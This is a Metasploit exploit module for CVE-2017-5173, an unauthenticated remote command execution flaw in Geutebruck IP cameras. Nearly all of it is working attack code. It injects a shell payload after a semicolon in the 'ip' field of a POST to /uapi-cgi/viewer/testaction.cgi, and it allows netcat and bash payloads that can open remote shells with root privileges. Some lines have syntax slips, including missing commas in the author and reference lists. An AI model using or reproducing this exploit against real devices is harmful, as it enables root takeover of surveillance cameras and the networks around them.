Geutebruck testaction.cgi Remote Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Geutebruck testaction.cgi Remote Command Execution',  
'Description' => %q{  
This module exploits a an arbitrary command execution vulnerability. The  
vulnerability exists in the /uapi-cgi/viewer/testaction.cgi page and allows an  
anonymous user to execute arbitrary commands with root privileges.  
Firmware <= 1.11.0.12 are concerned.  
Tested on 5.02024 G-Cam/EFD-2250 running 1.11.0.12 firmware.  
},  
'Author' =>  
[  
'Davy Douhine', #CVE-2017-5173 (RCE) and metasploit module  
'Florent Montel' #CVE-2017-5174 (Authentication bypass)  
'Frederic Cikala' #CVE-2017-5174 (Authentication bypass)  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-5173' ],  
[ 'CVE', '2017-5174' ],  
[ 'URL', 'http://geutebruck.com' ]  
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-045-02' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat bash',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 16 2016'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/testaction.cgi']),  
], self.class)  
end  
  
def exploit  
uri = normalize_uri(target_uri.path)  
print_status("#{rhost}:#{rport} - Attempting to exploit...")  
command = payload.encoded  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => 'POST',  
'vars_post' => {  
'type' => "ip",  
'ip' => "eth0 1.1.1.1;#{command}",  
},  
})  
end  
  
end  
  
  
`